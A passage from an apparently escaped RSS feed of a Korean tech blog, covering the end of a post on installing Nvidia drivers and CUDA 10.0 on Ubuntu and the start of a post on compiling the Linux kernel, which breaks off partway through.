&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;재부팅 후 hardware list를 확인하면 자동설치로 Nvidia 그래픽카드를 사용할 수 있음을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo lshw -C display&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4klWo/btqBVet89Vu/Y1V6d2gNCOiWoKCW1PWRA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4klWo/btqBVet89Vu/Y1V6d2gNCOiWoKCW1PWRA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4klWo/btqBVet89Vu/Y1V6d2gNCOiWoKCW1PWRA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4klWo%2FbtqBVet89Vu%2FY1V6d2gNCOiWoKCW1PWRA1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;최종적으로 아래의 명령어를 통해 Nvidia 드라이버 설치를 다시 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oEGMU/btqBSPWCXws/7vDRINQXkfdbQOfe1yAjHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oEGMU/btqBSPWCXws/7vDRINQXkfdbQOfe1yAjHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oEGMU/btqBSPWCXws/7vDRINQXkfdbQOfe1yAjHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoEGMU%2FbtqBSPWCXws%2F7vDRINQXkfdbQOfe1yAjHk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; background-color: #f3c000;&quot;&gt;&lt;b&gt;2. CUDA 설치&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;a href=&quot;https://developer.nvidia.com/cuda-toolkit-archive&quot;&gt;https://developer.nvidia.com/cuda-toolkit-archive&lt;/a&gt; 에서 원하는 버전의 CUDA Toolkit을 설치한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t3ZLM/btqBUUCJM5D/kOwkLFrP7rDwLKQJWDQ291/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t3ZLM/btqBUUCJM5D/kOwkLFrP7rDwLKQJWDQ291/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t3ZLM/btqBUUCJM5D/kOwkLFrP7rDwLKQJWDQ291/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft3ZLM%2FbtqBUUCJM5D%2FkOwkLFrP7rDwLKQJWDQ291%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;b&gt;$ sudo dpkg -i cuda-repo-ubuntu1804-10-0-local-10.0.0.130-410.48_1.0-1_amd64.deb&lt;/b&gt; 로 다운받은 파일을 설치한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCmCRJ/btqBRwXmj9Z/nqf2urkiWKgAtlSJJP8rdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCmCRJ/btqBRwXmj9Z/nqf2urkiWKgAtlSJJP8rdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCmCRJ/btqBRwXmj9Z/nqf2urkiWKgAtlSJJP8rdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCmCRJ%2FbtqBRwXmj9Z%2Fnqf2urkiWKgAtlSJJP8rdK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo apt-key add /var/cuda-repo-10-0-local-10.0.130-410.48/7fa2af80.pub&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo ap-get update&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo apt-get install cuda&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;위의 명령어로 설치한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ vim ~/.bashrc&amp;nbsp; (bashrc의 맨 마지막에 아래의 두 줄을 기입한다.)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;export&amp;nbsp;PATH=/usr/local/cuda-10.0/bin${PATH:+:${PATH}}&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span&gt;export&amp;nbsp;LD_LIBRARY_PATH=/usr/local/cuda-10.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;$reboot&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;$ nvcc -V&lt;/b&gt; 로 버전 확인이 완료되면 성공적으로 설치가 완료된것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;추가&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;===================================================================&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;Nvidia Driver 설치와 CUDA 설치 시 충돌이 발생하여 아래와 같은 문구가 나올 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver. Make sure that the latest NVIDIA driver is installed and running.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;그럴 때 Nvidia driver를 삭제하고 다시 설치하면 다시 Nvidia 그래픽카드를 사용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo apt-get remove --purge nvidia* &lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo apt-get autoremove&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;====================================================================&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/247</guid>
      <comments>https://marcokhan.tistory.com/247#entry247comment</comments>
      <pubDate>Tue, 11 Feb 2020 09:47:09 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu] How to Kernel Compile</title>
      <link>https://marcokhan.tistory.com/246</link>
      <description>&lt;p style=&quot;font-size: 1.25em;&quot;&gt;우분투를 사용하면서 원하는 버젼의 커널을 사용하거나, 커널 코드 변경으로 인해 커널을 컴파일해야할 경우가 많다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;따라서 간단히 커널 컴파일 방법에 대해 소개하려 한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;커널은 아래의 kernel Archives를 제공하는 사이트에서 다운 받을 수 있다. 커널은 계속 업데이트되고 변경되고 버려지기 때문에 되도록 Stable kernel version을 다운로드 하는것을 추천한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 커널 다운로드&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&lt;a href=&quot;https://www.kernel.org/&quot;&gt;https://www.kernel.org/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1571483524102&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;The Linux Kernel Archives&quot; data-og-description=&quot;&quot; data-og-host=&quot;www.kernel.org&quot; data-og-source-url=&quot;https://www.kernel.org/&quot; data-og-url=&quot;https://www.kernel.org/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.kernel.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.kernel.org/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;The Linux Kernel Archives&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.kernel.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;필자는 최신 버전을 선택했지만, 원하는 버전에 맞춰 다운로드하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnKNaa/btqzbkkbD7z/PaTJtyTfRfDhBM375k5YE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnKNaa/btqzbkkbD7z/PaTJtyTfRfDhBM375k5YE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnKNaa/btqzbkkbD7z/PaTJtyTfRfDhBM375k5YE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnKNaa%2FbtqzbkkbD7z%2FPaTJtyTfRfDhBM375k5YE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&quot;Save File&quot; 옵션을 선택한다. 일반적으로 Save File 옵션을 선택하면 ~/Download 위치에 다운된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byborq/btqzbl4vbx0/HfMINkhuoqrV53SNkLuwfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byborq/btqzbl4vbx0/HfMINkhuoqrV53SNkLuwfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byborq/btqzbl4vbx0/HfMINkhuoqrV53SNkLuwfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyborq%2Fbtqzbl4vbx0%2FHfMINkhuoqrV53SNkLuwfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 컴파일 주요 패키지 설치 &amp;amp; 커널 압축 해제&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;커널 설치, 환경 설정을 하기 위해서 반드시 설치해야하는 패키지들이 존재한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;아래의 명령어를 통해 컴파일시 주요 패키지를 설치할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo apt-get update&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo apt-get install build-essential libncurses5 libncurses5-dev bison flex libssl-dev libelf-dev bin86 kernel-package&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dlF9Cc/btqzb9WAzQE/YfzlITJ1MSSaJkqfEJfWck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dlF9Cc/btqzb9WAzQE/YfzlITJ1MSSaJkqfEJfWck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dlF9Cc/btqzb9WAzQE/YfzlITJ1MSSaJkqfEJfWck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdlF9Cc%2Fbtqzb9WAzQE%2FYfzlITJ1MSSaJkqfEJfWck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;다운받은 kernel의 형태는 linux-[kernel version].tar.xz로 되어 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;xz로 압축을 풀면 linux-[kernel version].tar로 풀리고&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;tar로 한 번더 압축을 풀면 linux-[kernel version]으로 풀린다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo xz -d l&lt;span style=&quot;color: #333333;&quot;&gt;inux-[kernel version].tar.xz&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo tar -xvf &lt;span style=&quot;color: #333333;&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;inux-[kernel version].tar&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 커널 컴파일 .config 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;새로운 커널을 설치할 때 이전에 사용한 정보들을 가져갈지 새롭게 설치할지 선택해야한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;여기서는 새롭게 설치한다는 내용이지만 이전 정보들을 가져가고 싶다면 /boot/config-[kernel version] 파일을 복사 후 menuconfig에 복사한파일을 넣어주면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;컴파일하기전 .config 파일을 설정할 필요가 있으므로 .config를 만들기 위해 아래의 명령어를 사용한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo make menuconfig&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;위의 명령어는 반드시 커널 디렉토리 내부에서 해야한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bygIO7/btqzb8pPGJX/NUXoLi05K1w1ykUS0xPcD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bygIO7/btqzb8pPGJX/NUXoLi05K1w1ykUS0xPcD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bygIO7/btqzb8pPGJX/NUXoLi05K1w1ykUS0xPcD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbygIO7%2Fbtqzb8pPGJX%2FNUXoLi05K1w1ykUS0xPcD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;그렇다면 아래와 같은 환경을 만날 수 있다. 만일 이전 정보들을 복사했다면 Load를 통해, 새롭게 설치한다면 &quot;Save&quot;를 누르면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/timTQ/btqy9259vDk/Z0DCgq9yM9hzSgocYoEkck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/timTQ/btqy9259vDk/Z0DCgq9yM9hzSgocYoEkck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/timTQ/btqy9259vDk/Z0DCgq9yM9hzSgocYoEkck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtimTQ%2Fbtqy9259vDk%2FZ0DCgq9yM9hzSgocYoEkck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Save를 누르면 다음과 같은 화면이 나오고 OK를 누르면 된다. 이렇게 된다면 기존에 있던 .config 파일이 덮어쓰게 되어서 이전 작업들이 사라지니 주의하자.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK7laa/btqzb9I2Xmo/KJdku6dzbw6FEV72abbEbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK7laa/btqzb9I2Xmo/KJdku6dzbw6FEV72abbEbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK7laa/btqzb9I2Xmo/KJdku6dzbw6FEV72abbEbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK7laa%2Fbtqzb9I2Xmo%2FKJdku6dzbw6FEV72abbEbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Exit로 나오면 &quot;End of the configuration&quot; 문구를 만날 수 있고, 잘 설정이 적용된것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cICX9g/btqzb8DmVLE/J5BmqLvJ7i2o4ZoRIWxWk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cICX9g/btqzb8DmVLE/J5BmqLvJ7i2o4ZoRIWxWk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cICX9g/btqzb8DmVLE/J5BmqLvJ7i2o4ZoRIWxWk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcICX9g%2Fbtqzb8DmVLE%2FJ5BmqLvJ7i2o4ZoRIWxWk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 커널 컴파일 과정&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;커널 컴파일은 오래 걸리는 작업인데 make -j#을 통해 thread로 나누어 컴파일 할 수 있다.&lt;/p&gt;
